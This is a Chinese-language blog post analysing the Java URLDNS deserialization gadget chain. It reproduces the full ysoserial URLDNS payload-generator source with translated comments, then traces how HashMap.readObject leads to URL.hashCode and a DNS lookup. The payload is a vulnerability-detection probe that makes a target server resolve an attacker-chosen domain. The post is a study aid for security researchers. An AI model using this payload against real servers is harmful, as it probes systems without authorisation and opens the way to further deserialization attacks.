JAVA-URLDNS链分析

JAVA-URLDNS链分析

1.从ysoserial工具中看exp

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**


有关此小工具链的更多详细信息,请访问以下url:

* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

*

*这是受到Philippe Arteau@h3xstream的启发,他写了一个博客

*描述他如何修改Java Commons Collections小工具的帖子

*在ysoserial中打开URL。这采用了相同的想法,但消除了

*对Commons集合的依赖,并使用

*标准JDK类。

*

* Java URL类的equals和

* hashCode方法。作为副作用,URL类将执行DNS查找

* 在比较期间(等于或哈希代码)。

*

* 作为反序列化的一部分,HashMap在它调用的每个键上调用hashCode

* 反序列化,因此使用Java URL对象作为序列化键允许

* 它将触发DNS查找。 
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //在有效负载创建期间避免 DNS 解析
                //由于字段 java.net.URL.handler 是瞬态的,它不会是序列化有效负载的一部分。
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); //包含 URL 的 HashMapthe URL
                URL u = new URL(null, url, handler); // 用作键的 URL
                ht.put(u, url); //该值可以是任何可序列化的值,URL 是触发 DNS 查找的关键。

                Reflections.setFieldValue(u, "hashCode", -1); //在上面的 put 过程中,会计算并缓存 URL 的 hashCode。这将重置,因此下次调用 hashCode 时将触发 DNS 查找。

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         *此 URLStreamHandler 实例用于在创建 URL 实例时避免任何 DNS 解析。 * DNS         解析用于漏洞检测。重要的是不要在 * 之前使用序列化对象探测给定的 URL。 * * 潜在         的误报: * 如果首先从测试计算机解析 DNS 名称,则目标服务器可能会在第二次解析时         获得缓存命中。
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

从exp中可以看到最后序列化的对象是hashmap,所以我们直接看readObject方法。

可以看到在readObject方法里会将key和value提出来,然后执行hash(key),更进hash()。

发现调用key的hashcode方法。

然而我们传的key为url的实列,所以会调用url的hashcode方法

在exp中我们通过反射更改了hashcode属性值,从而进入到handler.hashcode()重置hashcode。

Reflections.setFieldValue(u, "hashCode", -1);

跟进:

发现会调用gethostaddress进行dns解析,从而达到目的。

posted @ 2022-07-13 17:46  Ray言午  阅读(106)  评论(0编辑  收藏  举报